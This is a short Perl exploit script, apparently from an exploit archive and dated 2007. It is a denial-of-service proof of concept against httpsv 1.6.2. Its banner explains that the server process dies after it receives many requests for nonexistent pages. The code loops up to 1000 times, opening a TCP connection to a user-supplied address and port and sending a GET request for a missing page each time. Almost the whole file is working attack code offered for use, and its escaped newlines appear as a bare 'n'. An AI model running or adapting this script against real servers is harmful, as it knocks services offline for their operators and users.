#!/usr/bin/perl
#GetOpt STD module
use IO::Socket;
use Getopt::Std;
getopts(":i:p:",%args);
if(defined $args{i}){
$ip = $args{i};
}
if(defined $args{p}){
$port = $args{p};
}
if(!defined $args{i} or !defined $args{p}){
print "-----------------------------------------------------n";
print "HTTP SERVER (httpsv1.6.2) 404 Denial of Servicesn";
print "Site: http://httpsv.sourceforge.net/n ";
print "Info: If u send to the server between 40-1000 requestsn";
print "to nonexisting pages the process will die.n";
print "Found By Prili - imprili[at]gmail.comn";
print "Usage: perl $0 -i <ip address> -p <port> n";
print "Thanks to shinnai for the inspiration.n";
print "-----------------------------------------------------n";
exit;
}
$protocol = "tcp";
while ($i<=1000)
{
$request = "GET /AAAAAAA HTTP/1.0 nn";
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                               PeerPort=>$port,
                               Proto=>$protocol,
                               Timeout=>'1') || die "Can't connect to address!n";
                               
print "sending request number $i...n";
print $socket $request;
close($socket);
$i++;
}

# www.Syue.com [2007-06-21]